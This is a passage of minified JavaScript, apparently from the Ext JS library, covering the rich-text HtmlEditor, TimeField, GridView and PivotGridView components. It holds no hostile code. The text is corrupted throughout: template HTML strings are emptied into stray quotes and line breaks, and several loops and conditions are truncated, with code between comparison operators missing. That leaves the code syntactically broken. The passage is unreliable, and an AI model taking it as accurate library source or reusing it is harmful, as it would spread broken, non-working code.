a=document.createElement("iframe");a.name=Ext.id();a.frameBorder="0";a.style.overflow="auto";a.src=Ext.SSL_SECURE_URL;this.wrap.dom.appendChild(a);this.iframe=a;this.monitorTask=Ext.TaskMgr.start({run:this.checkDesignMode,scope:this,interval:100})},initFrame:function(){Ext.TaskMgr.stop(this.monitorTask);var b=this.getDoc();this.win=this.getWin();b.open();b.write(this.getDocMarkup());b.close();var a={run:function(){var c=this.getDoc();if(c.body||c.readyState=="complete"){Ext.TaskMgr.stop(a);this.setDesignMode(true);this.initEditor.defer(10,this)}},interval:10,duration:10000,scope:this};Ext.TaskMgr.start(a)},checkDesignMode:function(){if(this.wrap&&this.wrap.dom.offsetWidth){var a=this.getDoc();if(!a){return}if(!a.editorInitialized||this.getDesignMode()!="on"){this.initFrame()}}},setDesignMode:function(b){var a=this.getDoc();if(a){if(this.readOnly){b=false}a.designMode=(/on|true/i).test(String(b).toLowerCase())?"on":"off"}},getDesignMode:function(){var a=this.getDoc();if(!a){return""}return String(a.designMode).toLowerCase()},disableItems:function(a){if(this.fontSelect){this.fontSelect.dom.disabled=a}this.tb.items.each(function(b){if(b.getItemId()!="sourceedit"){b.setDisabled(a)}})},onResize:function(b,c){Ext.form.HtmlEditor.superclass.onResize.apply(this,arguments);if(this.el&&this.iframe){if(Ext.isNumber(b)){var e=b-this.wrap.getFrameWidth("lr");this.el.setWidth(e);this.tb.setWidth(e);this.iframe.style.width=Math.max(e,0)+"px"}if(Ext.isNumber(c)){var a=c-this.wrap.getFrameWidth("tb")-this.tb.el.getHeight();this.el.setHeight(a);this.iframe.style.height=Math.max(a,0)+"px";var d=this.getEditorBody();if(d){d.style.height=Math.max((a-(this.iframePad*2)),0)+"px"}}}},toggleSourceEdit:function(b){var d,a;if(b===undefined){b=!this.sourceEditMode}this.sourceEditMode=b===true;var c=this.tb.getComponent("sourceedit");if(c.pressed!==this.sourceEditMode){c.toggle(this.sourceEditMode);if(!c.xtbHidden){return}}if(this.sourceEditMode){this.previousSize=this.getSize();d=Ext.get(this.iframe).getHeight();this.disableItems(true);this.syncValue();this.iframe.className="x-hidden";this.el.removeClass("x-hidden");this.el.dom.removeAttribute("tabIndex");this.el.focus();this.el.dom.style.height=d+"px"}else{a=parseInt(this.el.dom.style.height,10);if(this.initialized){this.disableItems(this.readOnly)}this.pushValue();this.iframe.className="";this.el.addClass("x-hidden");this.el.dom.setAttribute("tabIndex",-1);this.deferFocus();this.setSize(this.previousSize);delete this.previousSize;this.iframe.style.height=a+"px"}this.fireEvent("editmodechange",this,this.sourceEditMode)},createLink:function(){var a=prompt(this.createLinkText,this.defaultLinkValue);if(a&&a!="http://"){this.relayCmd("createlink",a)}},initEvents:function(){this.originalValue=this.getValue()},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,setValue:function(a){Ext.form.HtmlEditor.superclass.setValue.call(this,a);this.pushValue();return this},cleanHtml:function(a){a=String(a);if(Ext.isWebKit){a=a.replace(/\sclass="(?:Apple-style-span|khtml-block-placeholder)"/gi,"")}if(a.charCodeAt(0)==this.defaultValue.replace(/\D/g,"")){a=a.substring(1)}return a},syncValue:function(){if(this.initialized){var d=this.getEditorBody();var c=d.innerHTML;if(Ext.isWebKit){var b=d.getAttribute("style");var a=b.match(/text-align:(.*?);/i);if(a&&a[1]){c='
    '+c+"
    "}}c=this.cleanHtml(c);if(this.fireEvent("beforesync",this,c)!==false){this.el.dom.value=c;this.fireEvent("sync",this,c)}}},getValue:function(){this[this.sourceEditMode?"pushValue":"syncValue"]();return Ext.form.HtmlEditor.superclass.getValue.call(this)},pushValue:function(){if(this.initialized){var a=this.el.dom.value;if(!this.activated&&a.length<1){a=this.defaultValue}if(this.fireEvent("beforepush",this,a)!==false){this.getEditorBody().innerHTML=a;if(Ext.isGecko){this.setDesignMode(false);this.setDesignMode(true)}this.fireEvent("push",this,a)}}},deferFocus:function(){this.focus.defer(10,this)},focus:function(){if(this.win&&!this.sourceEditMode){this.win.focus()}else{this.el.focus()}},initEditor:function(){try{var c=this.getEditorBody(),a=this.el.getStyles("font-size","font-family","background-image","background-repeat","background-color","color"),g,b;a["background-attachment"]="fixed";c.bgProperties="fixed";Ext.DomHelper.applyStyles(c,a);g=this.getDoc();if(g){try{Ext.EventManager.removeAll(g)}catch(d){}}b=this.onEditorEvent.createDelegate(this);Ext.EventManager.on(g,{mousedown:b,dblclick:b,click:b,keyup:b,buffer:100});if(Ext.isGecko){Ext.EventManager.on(g,"keypress",this.applyCommand,this)}if(Ext.isIE||Ext.isWebKit||Ext.isOpera){Ext.EventManager.on(g,"keydown",this.fixKeys,this)}g.editorInitialized=true;this.initialized=true;this.pushValue();this.setReadOnly(this.readOnly);this.fireEvent("initialize",this)}catch(d){}},beforeDestroy:function(){if(this.monitorTask){Ext.TaskMgr.stop(this.monitorTask)}if(this.rendered){Ext.destroy(this.tb);var b=this.getDoc();if(b){try{Ext.EventManager.removeAll(b);for(var c in b){delete b[c]}}catch(a){}}if(this.wrap){this.wrap.dom.innerHTML="";this.wrap.remove()}}Ext.form.HtmlEditor.superclass.beforeDestroy.call(this)},onFirstFocus:function(){this.activated=true;this.disableItems(this.readOnly);if(Ext.isGecko){this.win.focus();var a=this.win.getSelection();if(!a.focusNode||a.focusNode.nodeType!=3){var b=a.getRangeAt(0);b.selectNodeContents(this.getEditorBody());b.collapse(true);this.deferFocus()}try{this.execCmd("useCSS",true);this.execCmd("styleWithCSS",false)}catch(c){}}this.fireEvent("activate",this)},adjustFont:function(b){var d=b.getItemId()=="increasefontsize"?1:-1,c=this.getDoc(),a=parseInt(c.queryCommandValue("FontSize")||2,10);if((Ext.isSafari&&!Ext.isSafari2)||Ext.isChrome||Ext.isAir){if(a<=10){a=1+d}else{if(a<=13){a=2+d}else{if(a<=16){a=3+d}else{if(a<=18){a=4+d}else{if(a<=24){a=5+d}else{a=6+d}}}}}a=a.constrain(1,6)}else{if(Ext.isSafari){d*=2}a=Math.max(1,a+d)+(Ext.isSafari?"px":0)}this.execCmd("FontSize",a)},onEditorEvent:function(a){this.updateToolbar()},updateToolbar:function(){if(this.readOnly){return}if(!this.activated){this.onFirstFocus();return}var b=this.tb.items.map,c=this.getDoc();if(this.enableFont&&!Ext.isSafari2){var a=(c.queryCommandValue("FontName")||this.defaultFont).toLowerCase();if(a!=this.fontSelect.dom.value){this.fontSelect.dom.value=a}}if(this.enableFormat){b.bold.toggle(c.queryCommandState("bold"));b.italic.toggle(c.queryCommandState("italic"));b.underline.toggle(c.queryCommandState("underline"))}if(this.enableAlignments){b.justifyleft.toggle(c.queryCommandState("justifyleft"));b.justifycenter.toggle(c.queryCommandState("justifycenter"));b.justifyright.toggle(c.queryCommandState("justifyright"))}if(!Ext.isSafari2&&this.enableLists){b.insertorderedlist.toggle(c.queryCommandState("insertorderedlist"));b.insertunorderedlist.toggle(c.queryCommandState("insertunorderedlist"))}Ext.menu.MenuMgr.hideAll();this.syncValue()},relayBtnCmd:function(a){this.relayCmd(a.getItemId())},relayCmd:function(b,a){(function(){this.focus();this.execCmd(b,a);this.updateToolbar()}).defer(10,this)},execCmd:function(b,a){var c=this.getDoc();c.execCommand(b,false,a===undefined?null:a);this.syncValue()},applyCommand:function(b){if(b.ctrlKey){var d=b.getCharCode(),a;if(d>0){d=String.fromCharCode(d);switch(d){case"b":a="bold";break;case"i":a="italic";break;case"u":a="underline";break}if(a){this.win.focus();this.execCmd(a);this.deferFocus();b.preventDefault()}}}},insertAtCursor:function(c){if(!this.activated){return}if(Ext.isIE){this.win.focus();var b=this.getDoc(),a=b.selection.createRange();if(a){a.pasteHTML(c);this.syncValue();this.deferFocus()}}else{this.win.focus();this.execCmd("InsertHTML",c);this.deferFocus()}},fixKeys:function(){if(Ext.isIE){return function(g){var a=g.getKey(),d=this.getDoc(),b;if(a==g.TAB){g.stopEvent();b=d.selection.createRange();if(b){b.collapse(true);b.pasteHTML("    ");this.deferFocus()}}else{if(a==g.ENTER){b=d.selection.createRange();if(b){var c=b.parentElement();if(!c||c.tagName.toLowerCase()!="li"){g.stopEvent();b.pasteHTML("
    ");b.collapse(false);b.select()}}}}}}else{if(Ext.isOpera){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.win.focus();this.execCmd("InsertHTML","    ");this.deferFocus()}}}else{if(Ext.isWebKit){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.execCmd("InsertText","\t");this.deferFocus()}else{if(a==b.ENTER){b.stopEvent();this.execCmd("InsertHtml","

    ");this.deferFocus()}}}}}}}(),getToolbar:function(){return this.tb},buttonTips:{bold:{title:"Bold (Ctrl+B)",text:"Make the selected text bold.",cls:"x-html-editor-tip"},italic:{title:"Italic (Ctrl+I)",text:"Make the selected text italic.",cls:"x-html-editor-tip"},underline:{title:"Underline (Ctrl+U)",text:"Underline the selected text.",cls:"x-html-editor-tip"},increasefontsize:{title:"Grow Text",text:"Increase the font size.",cls:"x-html-editor-tip"},decreasefontsize:{title:"Shrink Text",text:"Decrease the font size.",cls:"x-html-editor-tip"},backcolor:{title:"Text Highlight Color",text:"Change the background color of the selected text.",cls:"x-html-editor-tip"},forecolor:{title:"Font Color",text:"Change the color of the selected text.",cls:"x-html-editor-tip"},justifyleft:{title:"Align Text Left",text:"Align text to the left.",cls:"x-html-editor-tip"},justifycenter:{title:"Center Text",text:"Center text in the editor.",cls:"x-html-editor-tip"},justifyright:{title:"Align Text Right",text:"Align text to the right.",cls:"x-html-editor-tip"},insertunorderedlist:{title:"Bullet List",text:"Start a bulleted list.",cls:"x-html-editor-tip"},insertorderedlist:{title:"Numbered List",text:"Start a numbered list.",cls:"x-html-editor-tip"},createlink:{title:"Hyperlink",text:"Make the selected text a hyperlink.",cls:"x-html-editor-tip"},sourceedit:{title:"Source Edit",text:"Switch to source editing mode.",cls:"x-html-editor-tip"}}});Ext.reg("htmleditor",Ext.form.HtmlEditor);Ext.form.TimeField=Ext.extend(Ext.form.ComboBox,{minValue:undefined,maxValue:undefined,minText:"The time in this field must be equal to or after {0}",maxText:"The time in this field must be equal to or before {0}",invalidText:"{0} is not a valid time",format:"g:i A",altFormats:"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A",increment:15,mode:"local",triggerAction:"all",typeAhead:false,initDate:"1/1/2008",initDateFormat:"j/n/Y",initComponent:function(){if(Ext.isDefined(this.minValue)){this.setMinValue(this.minValue,true)}if(Ext.isDefined(this.maxValue)){this.setMaxValue(this.maxValue,true)}if(!this.store){this.generateStore(true)}Ext.form.TimeField.superclass.initComponent.call(this)},setMinValue:function(b,a){this.setLimit(b,true,a);return this},setMaxValue:function(b,a){this.setLimit(b,false,a);return this},generateStore:function(b){var c=this.minValue||new Date(this.initDate).clearTime(),a=this.maxValue||new Date(this.initDate).clearTime().add("mi",(24*60)-1),d=[];while(c<=a){d.push(c.dateFormat(this.format));c=c.add("mi",this.increment)}this.bindStore(d,b)},setLimit:function(b,g,a){var e;if(Ext.isString(b)){e=this.parseDate(b)}else{if(Ext.isDate(b)){e=b}}if(e){var c=new Date(this.initDate).clearTime();c.setHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds());this[g?"minValue":"maxValue"]=c;if(!a){this.generateStore()}}},getValue:function(){var a=Ext.form.TimeField.superclass.getValue.call(this);return this.formatDate(this.parseDate(a))||""},setValue:function(a){return Ext.form.TimeField.superclass.setValue.call(this,this.formatDate(this.parseDate(a)))},validateValue:Ext.form.DateField.prototype.validateValue,formatDate:Ext.form.DateField.prototype.formatDate,parseDate:function(h){if(!h||Ext.isDate(h)){return h}var k=this.initDate+" ",g=this.initDateFormat+" ",b=Date.parseDate(k+h,g+this.format),c=this.altFormats;if(!b&&c){if(!this.altFormatsArray){this.altFormatsArray=c.split("|")}for(var e=0,d=this.altFormatsArray,a=d.length;e=0){if(!d){c=g-1}d=false;while(c>=0){if(e.call(k||this,l,c,i)===true){return[l,c]}c--}l--}}else{if(c>=g){l++;d=false}while(l','
    ','
    ','
    ','
    {header}
    ',"
    ",'
    ',"
    ",'
    ','
    {body}
    ','',"
    ","
    ",'
     
    ','
     
    ',""),headerTpl:new Ext.Template('',"",'{cells}',"","
    "),bodyTpl:new Ext.Template("{rows}"),cellTpl:new Ext.Template('','
    {value}
    ',""),initTemplates:function(){var c=this.templates||{},d,b,g=new Ext.Template('','
    ',this.grid.enableHdMenu?'':"","{value}",'',"
    ",""),a=['','','
    {body}
    ',"",""].join(""),e=['',"","{cells}",this.enableRowBody?a:"","","
    "].join("");Ext.applyIf(c,{hcell:g,cell:this.cellTpl,body:this.bodyTpl,header:this.headerTpl,master:this.masterTpl,row:new Ext.Template('
    '+e+"
    "),rowInner:new Ext.Template(e)});for(b in c){d=c[b];if(d&&Ext.isFunction(d.compile)&&!d.compiled){d.disableFormats=true;d.compile()}}this.templates=c;this.colRe=new RegExp("x-grid3-td-([^\\s]+)","")},fly:function(a){if(!this._flyweight){this._flyweight=new Ext.Element.Flyweight(document.body)}this._flyweight.dom=a;return this._flyweight},getEditorParent:function(){return this.scroller.dom},initElements:function(){var b=Ext.Element,d=Ext.get(this.grid.getGridEl().dom.firstChild),e=new b(d.child("div.x-grid3-viewport")),c=new b(e.child("div.x-grid3-header")),a=new b(e.child("div.x-grid3-scroller"));if(this.grid.hideHeaders){c.setDisplayed(false)}if(this.forceFit){a.setStyle("overflow-x","hidden")}Ext.apply(this,{el:d,mainWrap:e,scroller:a,mainHd:c,innerHd:c.child("div.x-grid3-header-inner").dom,mainBody:new b(b.fly(a).child("div.x-grid3-body")),focusEl:new b(b.fly(a).child("a")),resizeMarker:new b(d.child("div.x-grid3-resize-marker")),resizeProxy:new b(d.child("div.x-grid3-resize-proxy"))});this.focusEl.swallowEvent("click",true)},getRows:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},findCell:function(a){if(!a){return false}return this.fly(a).findParent(this.cellSelector,this.cellSelectorDepth)},findCellIndex:function(d,c){var b=this.findCell(d),a;if(b){a=this.fly(b).hasClass(c);if(!c||a){return this.getCellIndex(b)}}return false},getCellIndex:function(b){if(b){var a=b.className.match(this.colRe);if(a&&a[1]){return this.cm.getIndexById(a[1])}}return false},findHeaderCell:function(b){var a=this.findCell(b);return a&&this.fly(a).hasClass(this.hdCls)?a:null},findHeaderIndex:function(a){return this.findCellIndex(a,this.hdCls)},findRow:function(a){if(!a){return false}return this.fly(a).findParent(this.rowSelector,this.rowSelectorDepth)},findRowIndex:function(a){var b=this.findRow(a);return b?b.rowIndex:false},findRowBody:function(a){if(!a){return false}return this.fly(a).findParent(this.rowBodySelector,this.rowBodySelectorDepth)},getRow:function(a){return this.getRows()[a]},getCell:function(b,a){return Ext.fly(this.getRow(b)).query(this.cellSelector)[a]},getHeaderCell:function(a){return this.mainHd.dom.getElementsByTagName("td")[a]},addRowClass:function(b,a){var c=this.getRow(b);if(c){this.fly(c).addClass(a)}},removeRowClass:function(c,a){var b=this.getRow(c);if(b){this.fly(b).removeClass(a)}},removeRow:function(a){Ext.removeNode(this.getRow(a));this.syncFocusEl(a)},removeRows:function(c,a){var b=this.mainBody.dom,d;for(d=c;d<=a;d++){Ext.removeNode(b.childNodes[c])}this.syncFocusEl(c)},getScrollState:function(){var a=this.scroller.dom;return{left:a.scrollLeft,top:a.scrollTop}},restoreScroll:function(a){var b=this.scroller.dom;b.scrollLeft=a.left;b.scrollTop=a.top},scrollToTop:function(){var a=this.scroller.dom;a.scrollTop=0;a.scrollLeft=0},syncScroll:function(){this.syncHeaderScroll();var a=this.scroller.dom;this.grid.fireEvent("bodyscroll",a.scrollLeft,a.scrollTop)},syncHeaderScroll:function(){var a=this.innerHd,b=this.scroller.dom.scrollLeft;a.scrollLeft=b;a.scrollLeft=b},updateSortIcon:function(d,c){var a=this.sortClasses,b=a[c=="DESC"?1:0],e=this.mainHd.select("td").removeClass(a);e.item(d).addClass(b)},updateAllColumnWidths:function(){var e=this.getTotalWidth(),k=this.cm.getColumnCount(),m=this.getRows(),g=m.length,b=[],l,a,h,d,c;for(d=0;d=this.ds.getCount()){return null}d=(d!==undefined?d:0);var c=this.getRow(h),b=this.cm,e=b.getColumnCount(),a;if(!(g===false&&d===0)){while(dn){o.scrollTop=r-a}}if(e!==false){var m=parseInt(h.offsetLeft,10),k=m+h.offsetWidth,i=parseInt(o.scrollLeft,10),b=i+o.clientWidth;if(mb){o.scrollLeft=k-o.clientWidth}}}return this.getResolvedXY(s)},insertRows:function(a,i,e,h){var d=a.getCount()-1;if(!h&&i===0&&e>=d){this.fireEvent("beforerowsinserted",this,i,e);this.refresh();this.fireEvent("rowsinserted",this,i,e)}else{if(!h){this.fireEvent("beforerowsinserted",this,i,e)}var b=this.renderRows(i,e),g=this.getRow(i);if(g){if(i===0){Ext.fly(this.getRow(0)).removeClass(this.firstRowCls)}Ext.DomHelper.insertHtml("beforeBegin",g,b)}else{var c=this.getRow(d-1);if(c){Ext.fly(c).removeClass(this.lastRowCls)}Ext.DomHelper.insertHtml("beforeEnd",this.mainBody.dom,b)}if(!h){this.processRows(i);this.fireEvent("rowsinserted",this,i,e)}else{if(i===0||i>=d){Ext.fly(this.getRow(i)).addClass(i===0?this.firstRowCls:this.lastRowCls)}}}this.syncFocusEl(i)},deleteRows:function(a,c,b){if(a.getRowCount()<1){this.refresh()}else{this.fireEvent("beforerowsdeleted",this,c,b);this.removeRows(c,b);this.processRows(c);this.fireEvent("rowsdeleted",this,c,b)}},getColumnStyle:function(b,d){var a=this.cm,g=a.config,c=d?"":g[b].css||"",e=g[b].align;c+=String.format("width: {0};",this.getColumnWidth(b));if(a.isHidden(b)){c+="display: none; "}if(e){c+=String.format("text-align: {0};",e)}return c},getColumnWidth:function(b){var c=this.cm.getColumnWidth(b),a=this.borderWidth;if(Ext.isNumber(c)){if(Ext.isBorderBox||(Ext.isWebKit&&!Ext.isSafari2)){return c+"px"}else{return Math.max(c-a,0)+"px"}}else{return c}},getTotalWidth:function(){return this.cm.getTotalWidth()+"px"},fitColumns:function(g,k,h){var a=this.grid,m=this.cm,t=m.getTotalWidth(false),r=this.getGridInnerWidth(),s=r-t,c=[],p=0,o=0,v,d,q;if(r<20||s===0){return false}var e=m.getColumnCount(true),n=m.getColumnCount(false),b=e-(Ext.isNumber(h)?1:0);if(b===0){b=1;h=undefined}for(q=0;qr){var u=(b==e)?p:h,l=Math.max(1,m.getColumnWidth(u)-(t-r));m.setColumnWidth(u,l,true)}if(g!==true){this.updateAllColumnWidths()}return true},autoExpand:function(l){var a=this.grid,i=this.cm,e=this.getGridInnerWidth(),c=i.getTotalWidth(false),g=a.autoExpandColumn;if(!this.userResized&&g){if(e!=c){var k=i.getIndexById(g),b=i.getColumnWidth(k),h=e-c+b,d=Math.min(Math.max(h,a.autoExpandMin),a.autoExpandMax);if(b!=d){i.setColumnWidth(k,d,true);if(l!==true){this.updateColumnWidth(k,d)}}}}},getGridInnerWidth:function(){return this.grid.getGridEl().getWidth(true)-this.getScrollOffset()},getColumnData:function(){var e=[],c=this.cm,g=c.getColumnCount(),a=this.ds.fields,d,b;for(d=0;d'+this.emptyText+"")}},updateHeaderSortState:function(){var b=this.ds.getSortState();if(!b){return}if(!this.sortState||(this.sortState.field!=b.field||this.sortState.direction!=b.direction)){this.grid.fireEvent("sortchange",this.grid,b)}this.sortState=b;var c=this.cm.findColumnIndex(b.field);if(c!=-1){var a=b.direction;this.updateSortIcon(c,a)}},clearHeaderSortState:function(){if(!this.sortState){return}this.grid.fireEvent("sortchange",this.grid,null);this.mainHd.select("td").removeClass(this.sortClasses);delete this.sortState},destroy:function(){var k=this,a=k.grid,d=a.getGridEl(),i=k.dragZone,g=k.splitZone,h=k.columnDrag,e=k.columnDrop,l=k.scrollToTopTask,c,b;if(l&&l.cancel){l.cancel()}Ext.destroyMembers(k,"colMenu","hmenu");k.initData(null,null);k.purgeListeners();Ext.fly(k.innerHd).un("click",k.handleHdDown,k);if(a.enableColumnMove){c=h.dragData;b=h.proxy;Ext.destroy(h.el,b.ghost,b.el,e.el,e.proxyTop,e.proxyBottom,c.ddel,c.header);if(b.anim){Ext.destroy(b.anim)}delete b.ghost;delete c.ddel;delete c.header;h.destroy();delete Ext.dd.DDM.locationCache[h.id];delete h._domRef;delete e.proxyTop;delete e.proxyBottom;e.destroy();delete Ext.dd.DDM.locationCache["gridHeader"+d.id];delete e._domRef;delete Ext.dd.DDM.ids[e.ddGroup]}if(g){g.destroy();delete g._domRef;delete Ext.dd.DDM.ids["gridSplitters"+d.id]}Ext.fly(k.innerHd).removeAllListeners();Ext.removeNode(k.innerHd);delete k.innerHd;Ext.destroy(k.el,k.mainWrap,k.mainHd,k.scroller,k.mainBody,k.focusEl,k.resizeMarker,k.resizeProxy,k.activeHdBtn,k._flyweight,i,g);delete a.container;if(i){i.destroy()}Ext.dd.DDM.currentTarget=null;delete Ext.dd.DDM.locationCache[d.id];Ext.EventManager.removeResizeListener(k.onWindowResize,k)},onDenyColumnHide:function(){},render:function(){if(this.autoFill){var a=this.grid.ownerCt;if(a&&a.getLayout()){a.on("afterlayout",function(){this.fitColumns(true,true);this.updateHeaders();this.updateHeaderSortState()},this,{single:true})}}else{if(this.forceFit){this.fitColumns(true,false)}else{if(this.grid.autoExpandColumn){this.autoExpand(true)}}}this.grid.getGridEl().dom.innerHTML=this.renderUI();this.afterRenderUI()},initData:function(a,e){var b=this;if(b.ds){var d=b.ds;d.un("add",b.onAdd,b);d.un("load",b.onLoad,b);d.un("clear",b.onClear,b);d.un("remove",b.onRemove,b);d.un("update",b.onUpdate,b);d.un("datachanged",b.onDataChange,b);if(d!==a&&d.autoDestroy){d.destroy()}}if(a){a.on({scope:b,load:b.onLoad,add:b.onAdd,remove:b.onRemove,update:b.onUpdate,clear:b.onClear,datachanged:b.onDataChange})}if(b.cm){var c=b.cm;c.un("configchange",b.onColConfigChange,b);c.un("widthchange",b.onColWidthChange,b);c.un("headerchange",b.onHeaderChange,b);c.un("hiddenchange",b.onHiddenChange,b);c.un("columnmoved",b.onColumnMove,b)}if(e){delete b.lastViewWidth;e.on({scope:b,configchange:b.onColConfigChange,widthchange:b.onColWidthChange,headerchange:b.onHeaderChange,hiddenchange:b.onHiddenChange,columnmoved:b.onColumnMove})}b.ds=a;b.cm=e},onDataChange:function(){this.refresh(true);this.updateHeaderSortState();this.syncFocusEl(0)},onClear:function(){this.refresh();this.syncFocusEl(0)},onUpdate:function(b,a){this.refreshRow(a)},onAdd:function(b,a,c){this.insertRows(b,c,c+(a.length-1))},onRemove:function(b,a,c,d){if(d!==true){this.fireEvent("beforerowremoved",this,c,a)}this.removeRow(c);if(d!==true){this.processRows(c);this.applyEmptyText();this.fireEvent("rowremoved",this,c,a)}},onLoad:function(){if(Ext.isGecko){if(!this.scrollToTopTask){this.scrollToTopTask=new Ext.util.DelayedTask(this.scrollToTop,this)}this.scrollToTopTask.delay(1)}else{this.scrollToTop()}},onColWidthChange:function(a,b,c){this.updateColumnWidth(b,c)},onHeaderChange:function(a,b,c){this.updateHeaders()},onHiddenChange:function(a,b,c){this.updateColumnHidden(b,c)},onColumnMove:function(a,c,b){this.indexMap=null;this.refresh(true);this.restoreScroll(this.getScrollState());this.afterMove(b);this.grid.fireEvent("columnmove",c,b)},onColConfigChange:function(){delete this.lastViewWidth;this.indexMap=null;this.refresh(true)},initUI:function(a){a.on("headerclick",this.onHeaderClick,this)},initEvents:Ext.emptyFn,onHeaderClick:function(b,a){if(this.headersDisabled||!this.cm.isSortable(a)){return}b.stopEditing(true);b.store.sort(this.cm.getDataIndex(a))},onRowOver:function(b,a){var c=this.findRowIndex(a);if(c!==false){this.addRowClass(c,this.rowOverCls)}},onRowOut:function(b,a){var c=this.findRowIndex(a);if(c!==false&&!b.within(this.getRow(c),true)){this.removeRowClass(c,this.rowOverCls)}},onRowSelect:function(a){this.addRowClass(a,this.selectedRowClass)},onRowDeselect:function(a){this.removeRowClass(a,this.selectedRowClass)},onCellSelect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).addClass("x-grid3-cell-selected")}},onCellDeselect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).removeClass("x-grid3-cell-selected")}},handleWheel:function(a){a.stopPropagation()},onColumnSplitterMoved:function(a,b){this.userResized=true;this.grid.colModel.setColumnWidth(a,b,true);if(this.forceFit){this.fitColumns(true,false,a);this.updateAllColumnWidths()}else{this.updateColumnWidth(a,b);this.syncHeaderScroll()}this.grid.fireEvent("columnresize",a,b)},beforeColMenuShow:function(){var b=this.cm,d=b.getColumnCount(),a=this.colMenu,c;a.removeAll();for(c=0;c0){if(!this.cm.isHidden(a-1)){return a}a--}return undefined},handleHdOver:function(c,b){var d=this.findHeaderCell(b);if(d&&!this.headersDisabled){var a=this.fly(d);this.activeHdRef=b;this.activeHdIndex=this.getCellIndex(d);this.activeHdRegion=a.getRegion();if(!this.isMenuDisabled(this.activeHdIndex,a)){a.addClass("x-grid3-hd-over");this.activeHdBtn=a.child(".x-grid3-hd-btn");if(this.activeHdBtn){this.activeHdBtn.dom.style.height=(d.firstChild.offsetHeight-1)+"px"}}}},handleHdOut:function(b,a){var c=this.findHeaderCell(a);if(c&&(!Ext.isIE||!b.within(c,true))){this.activeHdRef=null;this.fly(c).removeClass("x-grid3-hd-over");c.style.cursor=""}},isMenuDisabled:function(a,b){return this.cm.isMenuDisabled(a)},hasRows:function(){var a=this.mainBody.dom.firstChild;return a&&a.nodeType==1&&a.className!="x-grid-empty"},isHideableColumn:function(a){return !a.hidden},bind:function(a,b){this.initData(a,b)}});Ext.grid.GridView.SplitDragZone=Ext.extend(Ext.dd.DDProxy,{constructor:function(a,b){this.grid=a;this.view=a.getView();this.marker=this.view.resizeMarker;this.proxy=this.view.resizeProxy;Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this,b,"gridSplitters"+this.grid.getGridEl().id,{dragElId:Ext.id(this.proxy.dom),resizeFrame:false});this.scroll=false;this.hw=this.view.splitHandleWidth||5},b4StartDrag:function(a,e){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var d=this.view.mainWrap.getHeight();this.marker.setHeight(d);this.marker.show();this.marker.alignTo(this.view.getHeaderCell(this.cellIndex),"tl-tl",[-2,0]);this.proxy.setHeight(d);var b=this.cm.getColumnWidth(this.cellIndex),c=Math.max(b-this.grid.minColumnWidth,0);this.resetConstraints();this.setXConstraint(c,1000);this.setYConstraint(0,0);this.minX=a-c;this.maxX=a+1000;this.startPos=a;Ext.dd.DDProxy.prototype.b4StartDrag.call(this,a,e)},allowHeaderDrag:function(a){return true},handleMouseDown:function(a){var h=this.view.findHeaderCell(a.getTarget());if(h&&this.allowHeaderDrag(a)){var l=this.view.fly(h).getXY(),c=l[0],i=a.getXY(),b=i[0],g=h.offsetWidth,d=false;if((b-c)<=this.hw){d=-1}else{if((c+g)-b<=this.hw){d=0}}if(d!==false){this.cm=this.grid.colModel;var k=this.view.getCellIndex(h);if(d==-1){if(k+d<0){return}while(this.cm.isHidden(k+d)){--d;if(k+d<0){return}}}this.cellIndex=k+d;this.split=h.dom;if(this.cm.isResizable(this.cellIndex)&&!this.cm.isFixed(this.cellIndex)){Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this,arguments)}}else{if(this.view.columnDrag){this.view.columnDrag.callHandleMouseDown(a)}}}},endDrag:function(g){this.marker.hide();var a=this.view,c=Math.max(this.minX,g.getPageX()),d=c-this.startPos,b=this.dragHeadersDisabled;a.onColumnSplitterMoved(this.cellIndex,this.cm.getColumnWidth(this.cellIndex)+d);setTimeout(function(){a.headersDisabled=b},50)},autoOffset:function(){this.setDelta(0,0)}});Ext.grid.PivotGridView=Ext.extend(Ext.grid.GridView,{colHeaderCellCls:"grid-hd-group-cell",title:"",getColumnHeaders:function(){return this.grid.topAxis.buildHeaders()},getRowHeaders:function(){return this.grid.leftAxis.buildHeaders()},renderRows:function(a,r){var b=this.grid,n=b.extractData(),o=n.length,e=this.templates,q=b.renderer,h=typeof q=="function",t=this.getCellCls,m=typeof t=="function",d=e.cell,u=e.row,k=[],p={},c="width:"+this.getGridInnerWidth()+"px;",l,g,s;a=a||0;r=Ext.isDefined(r)?r:o-1;for(s=0;s','
    ','
    ','
    {title}
    ','
    ','
    ',"
    ",'
    ',"
    ",'
    ','
    ','
    {body}
    ','',"
    ","
    ",'
     
    ','
     
    ',""),initTemplates:function(){Ext.grid.PivotGridView.superclass.initTemplates.apply(this,arguments);var a=this.templates||{};if(!a.gcell){a.gcell=new Ext.XTemplate('','
    ',this.grid.enableHdMenu?'':"","{value}","
    ","")}this.templates=a;this.hrowRe=new RegExp("ux-grid-hd-group-row-(\\d+)","")},initElements:function(){Ext.grid.PivotGridView.superclass.initElements.apply(this,arguments);this.rowHeadersEl=new Ext.Element(this.scroller.child("div.x-grid3-row-headers"));this.headerTitleEl=new Ext.Element(this.mainHd.child("div.x-grid3-header-title"))},getGridInnerWidth:function(){var a=Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this,arguments);return a-this.getTotalRowHeaderWidth()},getTotalRowHeaderWidth:function(){var d=this.getRowHeaders(),c=d.length,b=0,a;for(a=0;a0&&d>0){g=g||n.data[a[e-1].dataIndex]!=k[d-1].data[a[e-1].dataIndex]}if(g){r.push({header:p,span:o,start:b});b+=o;o=0}if(h){r.push({header:m,span:o+1,start:b});b+=o;o=0}p=m;o++}c.push({items:r,width:dimension.width||this.defaultHeaderWidth});p=undefined}return 